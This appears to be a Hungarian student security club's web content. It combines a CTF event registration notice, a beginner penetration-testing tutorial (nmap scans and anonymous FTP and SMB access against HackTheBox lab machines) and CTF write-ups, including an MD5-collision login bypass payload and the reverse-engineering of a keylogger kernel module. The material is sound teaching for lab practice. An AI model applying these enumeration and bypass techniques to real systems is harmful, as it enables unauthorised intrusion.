Regisztráció

Megnyílt az eseményünkre a regisztráció:

A regisztrációra a határidő 2026. 03. 03.

Fontos közérdekű információ! Ezen a felületen csak, az regisztráljon, aki NEM lakik már a Schönherz kollégiumban. Akinek van jogviszonya a kollégiummal, az kérlek NE adja le az adatait. A regisztrált emberek adatait leadjuk majd a portán, így majd ti is betudtok jönni a kollégiumban, ahol az esemény is lesz, mint vendégek. Szintén fontos, az eseményre hozzátok el azt az igazoló okmányt (személyi), aminek a számát megadtátok a regisztrációnál, máskülönben a portások nem fognak beengedni titeket.

Programok:

CTF feladatok, lockpicking, HTB-s emberek akik a meetupon is voltak szintén jönnek, illetve pár egyéb program amit egyelőre nem lövök le.

CTF:

Illetve arra szeretnék ösztönözni mindenkit, hogy hozzatok magatokkal is CTF feladatot, hogy megoszthassuk egymással ezeket, és a végén legyen egy nagy pool feladatokból, amin lehet bibelődni. Ha hoztok CTF feladatot, akkor nekem is elküldhetitek előre, hogy fel tudjuk tölteni majd a CTFd platformunkra, amin lehet majd ezeket megoldani.

Köszönöm szépen, és majd ott tali mindenkivel!

• C&C(Command and Control) rendszerbe való csatlakozása, ami perzisztens irányítást ad a támadónak akár ahhoz, hogy utána a gépünket egy zombinak használja egy botnetben
• egy keylogger telepítése, ami leolvassa az összes billentyűleütést, beleértve a jelszavainkat
• egy zsaroló program futtatása ami minden fájlunkat titkosítja

Utólag is elnézést kérek a hunglish szöveg miatt, de a helyzet az, hogy a legtöbb tudásanyag ebben a témában angolul van, ezért talán jobb ha angolul maradnak meg egyes kifejezések.

HackTheBox

A cél az hogy tesztelés során mi találjuk meg a hibákat, ne pedig egy rosszindulatú személy éleskörnyezetben. Ahogy mondtam ezt lehet gyakorolni, és erre szerintem egy nagyon jó platformot biztosít egy bizonyos szintig, a HackTheBox azaz HTB. A neve azt hiszem mindent megmagyaráz. Ugyanakkor nem csak gyakorlásra van itt lehetőség, hanem elméleti tananyagot is lehet olvasni az Academy résznél. Az elmélet elsajátítása után a Labs résznél tudjátok gyakorolni és kipróbálni tudásotokat.

Ha esetleg felkeltette érdeklődéseteket a HTB, akkor a regisztráció ingyenes, próbáljátok ki. Nekem(valko) nagyban segítetek, ha az alábbi referencia linken regisztráltok.

https://referral.hackthebox.com/mzBWuf5

A shameless promo után pedig jöjjön a tényleges segítség, az ilyen feladatok megoldásában. Mi, a SecurITeam, is adunk lehetőséget box-ok törésére, úgyhogy az itt tanult dolgokat, akár nálunk is tudjátok gyakorolni.

Penetration tester célja

Egy megbízott, biztonságot felmérő szakembernek a célja, hogy felderítse egy szervezet belső avagy külső hálózatában vagy rendszerében a hibákat. Ezen hibák lehetnek webes alkalmazásokban rejlő sérülékenységek, programok hibás konfigurációja vagy adatok nem szándékos kitevése. Ugyanakkor, neked mint ilyen szakembernek nem csak a felderítés a cél, hanem a szervezetet segítened is kell a hibák javítását elősegítő tanácsokkal.

Operációs rendszer választás

Bárki aki el szeretne helyezkedni az IT biztonság szakmájában, folyékonyan kell értenie nem csak a különféle technológiák használatához, hanem támadásához is. Értenünk kell Linux avagy Windows rendszerű számítógépek létrehozásához, karbantartásához úgy, hogy biztonságuk garantált legyen. Mint pentester, több lehetőséged van operációs rendszerek tekintetében.

Nincs olyan operációs rendszer, amely minden esetben rendelkezni fog a TE általad igényelt eszközökkel programokkal, de érdemes tudni, hogy léteznek olyan Debian alapú Linux disztribúciók, melyeken készen ott vannak azon programok, amik segítségedre jöhetnek munkáid során. Ilyen például a Kali Linux, vagy a Parrot OS. Ezen op rendszerek használata elégséges de nem szükséges, daily drivernek semmiféleképpen nem javaslom őket.

Tesztelés során érdemes virtuális gépeket használni, mivel így biztosítható a legnagyobb izoláció a saját rendszerünk és a tesztelés alatt álló rendszer között. Továbbá ha több rendszert is tesztelünk, akkor nem akarjuk, hogy az egyik bármely módon is befolyásolja a másikat. Erre több ingyenes virtualizációs szoftver is rendelkezésünkre áll legyen ez az Oracle VirtualBox vagy a VMware. Ha már találtunk is egy megfelelő disztribúciót, akkor érdemes a hivatalos oldalján találni hozzá egy OVA fájlt, ami egy előretelepített virtuális gépet tartalmaz az adott disztróhoz. Ez lehetővé teszi a gyors és tiszta deploy-t mindig.

Jegyzetelés

Talán trivia, de lehet pont ezért siklanak el felette sokan. Tesztelés során igazából útvonalat keresünk a rendszer belépési pontjától, a rootig. Ez az úttörés információ gyűjtéssel történik, és az információ saját szavainkba öntése, fontos az intúició színrelépése érdekében, de később is hasznukra válhat ha esetleg egyik út járhatatlannak bizonyul, és egy másik fogáspontot kell találnuk a célontunkon. Megbízóink számára is fontos, hogy lássák milyen úton, milyen gondolatmenettel használtuk ki rendszereiket, hiszen ha csak számukra csak annyi látszik, hogy valami fekete mágiával törték fel őket, azzal talán pont annyival előrébb lesznek javítás szempontjából, mintha meg se bíztak volna minket.

Jegyzeteléshez rengeteg eszköz és szabvány áll rendelkezésetekre, egyet amit tudok ajánlani, ami egyszerű de formázhatóságot biztosító opció, az a Markdown nyelv (ez a cikk is vele íródott :DD).

VPN használata

VPN azaz a Virtual Private Network technológia, egy kliens és egy VPN szerver között teremt egy biztonságos csatornát, melyet különféle kriptográfiai protokollokkal biztosít. Ezt lehet, sőt ez a leggyakoribb használata, arra használni, hogy publikus hálózatokon keresztül a kliens elérjen egy privát hálózatot (pl. egy alkalmazott VPN-t használ, hogy otthonról elérje az irodai hálózatot). Lényegében a VPN azt éri el, hogy a hálózati forgalmunk kezdőpontja a VPN szerver legyen. Ezért használják sokan arra, hogy növeljék anonimitásukat az interneten. Ugyanakkor figyelmesnek kell lenni, mivel nem szabad abba az illúzióba esni, hogy a VPN visszakövethetetlenséget biztosít, mivel a legtöbb VPN szolgáltató elkér különféle személyes adatokat, melyeket hozzárendel a logokhoz, amik a mi forgalmunkról készültek. Ezt az összeköttetést persze hivatalos szervek kérésére bármikor kiadják.

Ha tényleg VPN-t akartok használni, mert nem szeretitek a sötétben világító figurák gondos figyelmét, akkor nyugodt szívvel tudom ajánlani a Mullvad VPN-t, ahol nem kell megadni semmi személyes adatot, sőt akár még készpénzzel is lehet fizetni.

A VPN-t viszont mi ebben a használati esetben, nem az anonimitás miatt fogjuk használni. Akár a HTB-t , akár KSZK-s boxokat használva, privát hálózatukon tudtok megoldani, azaz a boxokat nem tudjátok kivülről elérni. Ezért kell VPN-t használjatok, melyhez a konfigurációs fájlt, mindig eléritek az adott oldalon. Ugyanakkor lebegjen előttetek a “Ki itt belépsz, hagyj fel minden reménnyel!” szöveg, mivel mindig azt kell feltételezni, hogy a hálózat ahova beléptek ilyenkor nem biztonságos. Ezért érdemes SSH-nál letiltani a jelszós az autentikációt, minden webszervert leállítani és semmilyen érzékeny információt hagyni a VM-en, amit tesztelésre használunk.

VPN-t elindítani egy linux kliensen mi sem egyszerő ha a szerver OpenVPN-t használt (a cikk írásának pillanatában ez igaz a HTB-re és a KSZK-ra is):

sudo openvpn box_net.ovpn

Kövesd a cikk sorozatot, hogy egyre mélyebben elmerüljél a tananyagban!

A 2. részben megismerkedünk az alapfogalmakkal és az alapeszközökkel, amelyeket gyakran használni fogunk gyakorlásaink során. A cikk nem fog egészen Ádámig és Éváig visszamenni, alapvető hálózati és számítógépes ismereteket megkövetel az alapos megértése.

Shell

Egy operációs rendszer magas szinten szétbontható kettő jól elkülöníthető részre: kernel és shell. A kernel az, ami kezeli a hardvert (mint pl. virtuális memória, lapkezelés, feladat ütemezés, memória beolvasása, írása, adatvédelem, feladatok izolációja, tranzakciókezelés, fájlkezelés, perifériák illesztése stb.). Ilyen kernel a Linux Kernel is, amibe mai napig is rendszeresen jönnek ki frissítések. A shell az, amin keresztül a felhasználó adja a bemeneteket a számítógépnek, amely ezeket a kéréseket lefordítja a kernel nyelvére és átadja egy interfészen neki. Tehát egy híd, interfész, amivel felhasználóként beszélhetünk a számítógéppel, megfelelő jogosultsággal irányíthatjuk is azt. Ez régen az egyetlen módja volt egy számítógép használatának, de manapság már lehet használni grafikus felületeket (GUI) is.

Linuxon a shellnek a Bourne Again Shell-t, azaz bash-t használják shellnek ami az sh-nak egy fejlesztett változata. Előfordulhat, hogy mások egyéb, akár újabb, shell-eket használnak, mint például a zsh.

Támadóként sokszor a támadási vektorunk egy fontos része, hogy shell-t “szerezzünk” egy számítógéphez. Ez ahhoz szükséges, hogy áttörjünk a szolgáltatások és interfészek által megszabott, szabályszerű irányításon. Például van egy webszerver ami egy weboldalhoz tartozó kéréseket szolgál ki, és szabályszerű viselkedés az, hogy a felhasználó a weboldalon keresztül, megszabott kéréseket küldhet a szervernek (pl. GET index.html vagy ilyesmi). Ha viszont ezen a weboldalon van egy RCE (Remote Code Execution) hiba, azaz tetszőleges kódot futhathatunk az oldal mögött álló számítógépen, akkor könnyen levetkőztethejtük a számítógépet, leszedve weboldal absztrakcióját és közvetlen hozzáférést szerzünk, azaz shell-t.

Kapcsolat szempontjából megkülönböztetünk többféle shell-t:

• Reverse Shell
• Bind Shell
• Web Shell

A Bind Shell egy portot (lásd később) magához rendel, és azon a porton hallgatózva várja a csatlakozni kívánó gépeket. A Reverse Shell a leggyakoribb módja annak, hogy átvegyük az irányítást egy kompromitált gép felett. A “reverse” mivolta, onnan következik, hogy itt maga a támadó hallgatózik csatlakozásra várva, míg a célpont gép egy adott reverse shell-t indító kód következtében indítja el a kommunikációt a támadó géppel. Ez azért annyira hasznos, mivel legtöbb esetben az az alapmértelmezett beállítás tűzfalaknál, hogy bejövő forgalmat csak bizonyos portoknál fogad (pl. webszerver esetén 80 és 443), így nem lehet egy bind shell-t csinálni. Ugyanakkor a kimenő forgalmat nem szabályozza, és itt jön hasznunkra a reverse shell.

Hogy hogyan tudunk reverse shell-t csinálni arról majd később.

Portok

A reverse shell-nél szó esett a számítógépek kommunikációjánál a portokról. A portok lényegében olyanok, mint az ajtók, ablakok egy háznál, melyeken, ha nincsenek jól bezárva, illetéktelen is bejöhetnek. A portok szoftveres interfészek, melyek a hálózati kommunikáció kezdetei és végei. A portokhoz rendelhetőek folyamatok, melyek használják azokat. A portokat 0-65535 közötti egész számmal jelöljük. Egyes folyamatokat, protokollokat, úgynevezett well-known, azaz jól ismert, portokhoz kötünk, melyek a 0-1023-as tartományban vannak. Ilyen például a HTTP ami a 80-as port, vagy a HTTPS ami a 443. Továbbá az alábbi összerendeléseket érdemes tudni:

• 20/21 (TCP) - FTP
• 22 (TCP) - SSH
• 23 (TCP) - Telnet
• 25 (TCP) - SMTP
• 80 (TCP) - HTTP
• 161 (TCP/UDP) - SNMP
• 389 (TCP/UDP) - LDAP
• 443 (TCP) - SSL/TLS (HTTPS)
• 445 (TCP) - SMB
• 3389 (TCP) - RDP

Eszközök

Nehéz megnevezni az SSH, Vim, Netcat és talán a Tmux programoknál alapabb eszközöket boxok megoldásánál. Ezek használatát fogjuk tárgyalni most.

SSH

A Secure Shell (SSH) hálózati protokoll, ami a 22-es porton működik alapméretezetten. Ez a protokoll lehetővé teszi a számítógép adminisztrátoroknak, illetve mezei felhasználóknak, hogy kriptográfiailag biztonságosan érjék el egy számítógép shell-jét. Egy titkosított csatornát biztosít távoli eléréshez. Fel lehet konfigurálni, hogy jelszóval vagy asszimetrikus kulcspárokkal autentikáljon, de az általános megegyezés az, hogy a jelszóval való autentikációt érdemes kikapcsolni, és a kriptográfialiag atombomba biztos szabványra támaszkodni.

Az SSH a kliens-szerver modell alapján müködik, miszerint az SSH szerver kiszolgálja a klienseket. Az OpenSSH például egy népszerű SSH kliens Linuxon. Az asszimetrikus kulcsú autentikációhoz először generálnunk kell egy kulcspárt, amely áll egy publikus és privát kulcsból. A biztonságosság alapját nem részletezném, akit esetleg érdekel az elolvashatja a Nyilvános kulcsú titkosítás-ról szóló cikkünket. Generálni kulcsot az ssh-keygen utility-vel tudunk. Ezután a kulcsokat a /home/<felhasználód>/.ssh/ úton találod meg, ahol is .pub végződésű a publikus kulcsod, a másik meg a privát kulcsod. Az SSH szerveren, egy adott felhasználóhoz, úgy tudunk hozzáférést adni egy kulcs pár tulajdonosának, hogy a kulcs pár publikus kulcsát, az SSH szerveren a felhasználónak a ~/.ssh/authorized_keys fájl, ha már létezik, tartalma után kell másolni, ha nem akkor akkor létre kell hozni, egy ilyen fájlt benne a publikus kulccsal.

Hozzáférést SSH-n keresztül megfelelő belépési adatok nélkül szinte lehetetlen, de ha sikerül egy jelszót vagy egy privát kulcsot szereznünk a távoli gép felhasználójához, akkor perzisztensen ki-be tudunk járni a számítógépbe.

Vim

Linux környezetben több alternatíva is van szövegszerkesztésre, de talán egyik legjobb a Vim. Vimben jól lehet szöveget szerkeszteni vagy programot is írni. Egyik legnagyobb előnye, hogy csak a billentyűzetet kell használni vele, ami miután az irányításokat elsajátítottad, nagyban növelni fogja a hatékonyságodat. Továbbá azt is illik megemlíteni, hogy nagyon minimális igényei vannak, így bármilyen környezetben elfut. Ha meg akarod tanulni használni, érdemes elolvasni a vimtutor-t, ami már elérhető magyar nyelven is. Sok sikert a kilépéshez :DD.

Itt van egy puska a gyorsgombokhoz: https://vimsheet.com/

Netcat

A netcat, ncat vagy nc, egy nagyon hasznos eszköz a TCP/UDP portokkal való interaktáláshoz. Sok dologra lehet használni pentesting közben, de mi leginkább reverse shell-ekhez való kapcsolódásra fogjuk használni, amiről részletesebben később tudtok olvasni. Továbbá lehet használni arra, hogy bármilyen nyitott porthoz kapcsolódjunk és leolvassuk az ott futó szolgáltatást. Ezt a technikát “Banner Grabbing”-nak nevezik. Windowson elérhető a PowerShell-es netcat, a PowerCat. Ugyanakkor létezik a socat is, ami több funkcióval is rendelkezik, mint például port forwarding.

Kövesd a cikk sorozatot, hogy egyre mélyebben elmerüljél a tananyagban!

Szolgáltatás enumeráció

A hibák kihasználását, megelőzi a hibák megtalálása. Ehhez fel kell derítenünk, hogy mik okozhatnak hibát. Ilyenkor abba a szerepbe kell helyeznünk magunkat, mint egy külső támadó, azaz nem tudunk semmit a rendszer belső működésről, ezt úgy nevezzük, hogy black-box penetration testing. Tehát információt kell gyűjtenünk először. A gyűjtés fő célja, hogy meg tudjuk milyen operációs rendszer fut a teszt alatt lévő gépen, és milyen szolgáltatásokat szolgál.

Szolgáltatásnak nevezünk egy olyan programot, ami valamilyen feladatot lát el egy felhasználónak vagy gépnek. Egy szolgáltatás a világgal egy porton keresztül kommunikál a külvilággal, így egy támadó és ezáltal mi is a portokat, és az azokon lévő szolgáltatásokat fogjuk végignézni, hibákat keresve. A szolgáltatásoknál félrekonfigurációt, kihasználható jogosultságokat vagy nem szándékos működést keresünk.

Eddig a szolgáltatások elérésénél csak portokról volt szó, de ha egy hálózatban akarjuk a szolgáltatást elérni, akkor szükségünk van egy IP címre. Egy IP cím és egy port együtt egy “socket”-et alkotnak. Ez a kettő változó egyértelműen meghatároz egy célt egy számítógépen. Így egy számítógép, azaz egy IP cím esetén, összesen 65535 portot kellene megvizsgálnunk. Ha ezt manuálisan tennénk, lehet a Naprendszer is kihűle mire végeznénk. Szerencsére léteznek programok, amik automatizálják ezt a folyamatot. Az erre a feladatra leghasználtabb szoftver az Nmap(Network Mapper).

Nmap

Az Nmap egy nyílt forráskódú, hálózati felfedezésre és biztonsági aduitációra használt szoftver. Több hálózaton lévő eszköz vizsgálatára is képes, de mi főként csak egy célponton fogjuk használni.

Kimenete megad egy táblát, mely tartalmazza a célpont portjait, protokolljait és szolgáltatásait. A portoknál lehet az állapot open, filtered vagy closed. A zárt portoknál nincsen szolgáltatás ami hallgatozna rajtuk. Nyitott port azt jelenti, hogy van szolgáltatás mögötte. Szűrt pedig azt jelenti, hogy a tűzfal valamilyen szabálya megakadályozza az nmap-ot, hogy megállapítsa a port állapotát. A táblázat továbbá, megfelelő felparaméterezésnél, tartalmazza a szolgáltatások verzióját is, amely sokszor hasznos nekünk, hiszen régi verzióknál előfordulhatnak sérülékenységek, melyeket kihasználhatjuk.

Most pedig nézzük meg ezt példákon keresztül.

Kezdjük a legegyszerűbb szkenne, ahol arra láttok példát hogy a 10.129.47.125 címen elérhető számítógépet vizsgáljuk. Alapméretezetten az nmap csak az első 1000 portot vizsgálja. Ezek közül itt látszik, hogy a 135, 139, 445 és 5985 port van nyitva.

/home/valko [valko@base] [11:22]
> nmap 10.129.47.125
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-08 11:22 CET
Nmap scan report for 10.129.47.125
Host is up (0.049s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
5985/tcp open  wsman

Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds

Következő példában az -sV paramétert használjuk egy másik gépen. Az -sV-vel az nmap megpróbálja az adott szolgáltatás verzióját is lekérdezni, ami ahogy említettem sokszor hasznos információ nekünk. Továbbá a -p paramétert is használtam ami után megadhatjuk, hogy a 0-65535 tartományban, melyik portokat ellenőrizzük. Ha minden portot szeretnénk ellenőrizni azt a -p- paraméterrel tudjuk jelölni, ez viszont hoszabb ideig is eltarthat. A példában látszik, hogy a szolgáltatás verziójén kívül, az operációs rendszert is megtudta állapítani.

/home/valko [valko@base] [11:55]
> nmap -sV -p0-2000 10.129.113.80
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-08 11:55 CET
Nmap scan report for 10.129.113.80
Host is up (0.048s latency).
Not shown: 2000 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.74 seconds

Utolsó paraméter amit megakarok mutatni az az -sC, ami alapméretezetten le fog futtatni pár default szkriptet a porton, hogy több információt kicsikarjon belőle egy szolgáltatás esetén. Az előző címen használva láthajuk, hogy itt igazán hasznosnak bizonyult ez a funkció, mivel megtudta mondani az FTP szerverről, hogy az Anonymous login be van kapcsolva, azaz jelszó nélkül be tudunk jeletkezni. A flag.txt is ott figyel az FTP szerveren :)).

/home/valko [valko@base] [11:55]
> nmap -sV -sC -p0-2000 10.129.113.80
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-08 12:02 CET
Nmap scan report for 10.129.113.80
Host is up (0.047s latency).
Not shown: 2000 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.10.14.242
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              32 Jun 04  2021 flag.txt
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.10 seconds

Több paraméterrel is el lehet létni egy nmap utasítást, de többet nem nagyon szeretnék részletezni. Ugyanakkor ha kiváncsi vagy, egy man nmap-pal mindig el tudod olvasni az nmap használati utasítását.

Szolgáltatások

Az nmap segít felderíteni nekünk az elérhető szolgáltatásokat, de nekünk kell rájönni, hogy mit kell az adott szolgáltatásnál vizsgálnunk. Most megnézünk pár protokollt melyeket használnak ezek a szolgáltatások, amikkel találkozhattok a boxok törése közben.

FTP

Az FTP (File Transfer Protocol) egy eléggé standard és gyakori protokol, és sokszor tartalmaz érdekes információt. Az előző nmap szken során is kiderült, hogy az FTP alapméretezett portján hallgatózik egy vsFTPd 3.0.3-ás verziójú szolgáltatás. Itt az is kiderűlt, hogy az anonymous bejelentkezés lehetséges.

Az FTP külön portot használ az utasítások átadására és az adatok cseréjére. Ennek akkor érdemes utánajárni, ha valamely tűzfal beállításunk miatt ez a kapcsolat nem jöhet létre (lásd active mode vs passive mode).

Csatlakozzunk ehhez az FTP szerverhez az ftp CLI programmal:

/home/valko [valko@base] [16:13]
> ftp 10.129.146.156
Connected to 10.129.146.156.
220 (vsFTPd 3.0.3)
Name (10.129.146.156:valko): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              32 Jun 04  2021 flag.txt
226 Directory send OK.
ftp> get flag.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for flag.txt (32 bytes).
226 Transfer complete.
32 bytes received in 0.0024 seconds (13 kbytes/s)
ftp>

Az FTP egy kliens/szerver modellt követő protokoll, ahol fájlok átvitele valósítható meg. Egy biztonságosabb verziója az SFTP, amely az SSH protokollt és kulcsokat használva teszi meg ugyanezt.

Használhatóak az alapvető terminálos utasítások mint az ls, cd de ezen felül a get is, amivel az FTP szerverről tudunk fájlokat átmásolni az FTP kliensre. A put ugyanez csak másik irányba.

SMB

Az SMB (Server Message Block) protokoll egy olyan alkalmazás-rétegben használt protokoll, ami főleg fájlok, nyomtatók, soros portok megosztására használnak. Az SMB főleg Windowos környezetben volt használatban de azóta lettek Linuxos környezetben is használt megvalósítások, mint pl. a Samba.

Az SMB többféleképpen futhat a hálózaton:

• közvetlenül TCP-vel a 445-ös porton;
• NetBIOS API-t használva UDP(137, 138) és TCP(137, 139) portokon;

Az SMB-t használó szolgáltatások, nagy felületet adnak a támadásra, és mozgást egy rendszerben, vertikálisan és horizontálisan is. Egyes SMB verziók sérülékenyek lehetnek RCE(Remote Code Execution)-re, mint például a notorius EternalBlue. Létfontosságú, hogy alaposan megvizsgáljuk az ilyen szolgáltatásokat.

Megosztott könyvtárak

Az SMB lehetővé teszi könyvtárak megosztását a felhasználók számára. Sokszor ezekben a könyvtárakban találunk bizalmas, érzékeny adatokat. Az eszköz amellyel hozzáférünk ezekhez a könyvtárakhoz, az a smbclient. Az smbclient -L paramétere ki listázza az elérhető megosztott könyvtárakat, az -N pedig skippeli a jelszót (guest access).

/home/valko [valko@base] [8:44]
> smbclient -N -L \\\\10.129.105.168

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	WorkShares      Disk
SMB1 disabled -- no workgroup available

A fenti példában látható az smbclient használata arra, hogy kilistázzuk a megosztott könyvtárakat. Itt látszik, hogy van egy WorkShares nevezetű könyvtár ami vendég módban is elérhető. Próbáljunk meg csatlakozni rá.

/home/valko [valko@base] [8:47]
smbclient \\\\10.129.105.168\\WorkShares
Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\valko]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Mar 29 10:22:01 2021
  ..                                  D        0  Mon Mar 29 10:22:01 2021
  Amy.J                               D        0  Mon Mar 29 11:08:24 2021
  James.P                             D        0  Thu Jun  3 10:38:03 2021

		5114111 blocks of size 4096. 1734228 blocks available
smb: \>

Az üres jelszóval, mint vendég, hozzáfértünk ehhez a megosztáshoz. Látszik, hogy van ezen belül egy ‘Amy.J’ könyvtár és egy ‘James.P’ könyvtár.

/home/valko [valko@base] [9:04]
> smbclient \\\\10.129.105.168\\WorkShares
Can't load /etc/samba/smb.conf - run testparm to debug it
Password for [WORKGROUP\valko]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Mar 29 10:22:01 2021
  ..                                  D        0  Mon Mar 29 10:22:01 2021
  Amy.J                               D        0  Mon Mar 29 11:08:24 2021
  James.P                             D        0  Thu Jun  3 10:38:03 2021

		5114111 blocks of size 4096. 1750503 blocks available
smb: \> cd James.P
smb: \James.P\> ls
  .                                   D        0  Thu Jun  3 10:38:03 2021
  ..                                  D        0  Thu Jun  3 10:38:03 2021
  flag.txt                            A       32  Mon Mar 29 11:26:57 2021

		5114111 blocks of size 4096. 1750503 blocks available
smb: \James.P\> get flag.txt
getting file \James.P\flag.txt of size 32 as flag.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)

Ha van jogosultságunk, akkor használhatjuk a megszokott utasításokat mint pl. az ls vagy a cd. Továbbá egy fájlnál az FTP-nél is használt get is müködik.

Kövesd a cikk sorozatot, hogy egyre mélyebben elmerüljél a tanagyagban!

A feladathoz egy zip fájl és egy socket van megadva.

A zip-ben csupán egy server.py fájl van:

from hashlib import md5
import json

'''
Data format:
{
    username: [md5(username).hexdigest(), password],
    .
    .
    .
}
'''
users = {
    'HTBUser132' : [md5(b'HTBUser132').hexdigest(), 'secure123!'],
    'JohnMarcus' : [md5(b'JohnMarcus').hexdigest(), '0123456789']
}

def get_option():
    return input('''
    Welcome to my login application scaredy cat ! I am using MD5 to save the passwords in the database.
                          I am more than certain that this is secure.                       
                                   You can't prove me wrong!          
    
    [1] Login
    [2] Register
    [3] Exit

    Option (json format) :: ''')


def main():
    while True:
        option = json.loads(get_option())

        if 'option' not in option:
            print('[-] please, enter a valid option!')
            continue

        option = option['option']
        if option == 'login':
            creds = json.loads(input('enter credentials (json format) :: '))

            usr, pwd = creds['username'], creds['password']
            usr_hash = md5(usr.encode()).hexdigest()
            for db_user, v in users.items():
                if [usr_hash, pwd] == v:
                    if usr == db_user:
                        print(f'[+] welcome, {usr} 🤖!')
                    else:
                        print(f"[+] what?! this was unexpected. shutting down the system :: {open('flag.txt').read()} 👽")
                        exit()
                    break
            else:
                print('[-] invalid username and/or password!')
        
        elif option == 'register':
            creds = json.loads(input('enter credentials (json format) :: '))

            usr, pwd = creds['username'], creds['password']
            if usr.isalnum() and pwd.isalnum():
                usr_hash = md5(usr.encode()).hexdigest()
                if usr not in users.keys():
                    users[usr] = [md5(usr.encode()).hexdigest(), pwd]
                else:
                    print('[-] this user already exists!')
            else:
                print('[-] your credentials must contain only ascii letters and digits.')

        elif option == 'exit':
            print('byeee.')
            break


if __name__ == '__main__':
    main()

Magyarázat

A socket túloldalán ez a program fut (netcat-el elérhető). A program egy szótárban tárol (users) felhasználókat és azok jelszavait, ahol a kulcs a felhasználónév, az érték pedig egy 2 hosszú tömb a név MD5 hashével és a felhasználó (cleartext) jelszavával. Kettő dolgot tudunk csinálni az alkalmazással: regisztrálni és belépni. Regisztrálásnál ({"option": "register"}) egy felhasználónevet és jelszót kell megadni ({"username": "...", "password": "..."}). A bejelentkezés ({"option": "login"}) ugyan így működik.

Cél

A cél az, hogy az 50. sorban lévő print utasítás lefusson, ami kiírja a flag.txt tartalmát. Ez úgy érhető el, ha van 2 felhasználó akiknek megegyező a user hash értéke és a jelszava, azonban eltérő névvel rendelkeznek. Röviden hash ütközést kell elérni, ami MD5 esetén nem egy nehéz dolog.

Megoldás

Kereshetnénk a már regisztrált felhasználók neveivel ütköző hasheket is, de mivel mi is be tudunk regisztrálni, így egyszerűbb már ismert ütközésekkel megoldani. Egy kis kutatás után tatáltam egy X bejegyzést, ahol megemlítenek 2 egyező MD5 hasht. Regisztrálunk két felhasználót a két különböző, ám azonos MD5 hashű felhasználónévvel. A jeszló értéke lényegtelen, de egyezniük kell. Ezután bejelentkezünk a másodjára regisztrált felhasználóval, ezzel a kívánt útra terelve a végrehajtást.

{"option": "register"}
{"username": "TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak", "password": "pws"}
{"option": "register"}
{"username": "TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak", "password": "pws"}
{"option": "login"}
{"username": "TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak", "password": "pws"}

A feladathoz egy zip fájl van megadva, benne egy brainstorm.ko és egy logs fájl. A ko fájl egy ELF bináris, amit kernelmodulként lehet használni.

Cél

Itt kivételesen nem egy flaget kell megszerezni, hanem az alábbi kérdésekre kell választ adni:

1. Who is the module’s author?
2. What is the name of the function used to register keyboard events?
3. What is the name of the function that converts keycodes to strings?
4. What file does the module create to store logs? Provide the full path.
5. What message does the module print when imported?
6. What is the XOR key used to obfuscate the keys? (e.g. 0x01, 0x32)
7. What is the password entered for ‘adam’?

Megoldás

1. kérdés

A modinfo paranccsal lehet metaadatokat lekérdezni egy kernelmodulról, többek között a szerző nevét is:

modinfo brainstorm.ko

...
Author: 0xEr3n
...

2. kérdés

Innentől a program méretéből és egyszerűségéből adódóan akár a webes Decompiler Explorert is lehet használni. Név alapján beazonosítható: register_keyboard_notifier

3. kérdés

Ez talán még egyértelműbb: keycode_to_string

4. kérdés

A spy_init függvényből kiolvasható, hogy létrehoz előbb egy spyyy könyvtárat a DebugFS-ben. Nemsokkal később egy keys fájlt hoz létre itt. A DebugFS egy operatív tárban létező fájlrendszer, ami kernel módban futó folyamatok debug logjainak a tárolására szolgál, de felhasználói módból is elérhető. Ez általában a /sys/kernel/debug helyre van csatolva.

Tehát a teljes elérési út: /sys/kernel/debug/spyyy/keys

5. kérdés

Akár ki lehet keresgetni a binárisból, de egyszerűbb betölteni egy VM-be:

sudo modprobe brainstorm.ko

w00tw00t

6. kérdés

A keycode_to_string függvényben van egy ciklus, ami minden karaktert XOR-oz 0x19-el.

7. kérdés

Az XOR művelet egy úgynevezett involúciós eljárás, azaz a mégegyszeri alkalmazása az identitást adja vissza: \((x ⨁ a) ⨁ a = x\). A logs fájl feltehetően ennek a kernelmodulnak egy logja. XOR-ozzuk a fájl minden bájtját 0x19-el, és a log végén találunk egy jelszót: supers3cur3passw0rd

Forrás

A feladathoz egy zip fájl és egy weboldal címe van megadva. A weboldalon felhasználó nevet és egy jelszót kér. A zip-ben egy bináris encrypted_message.aes és egy generator.py található. A python fájl tartalma:

from Crypto.Cipher import AES
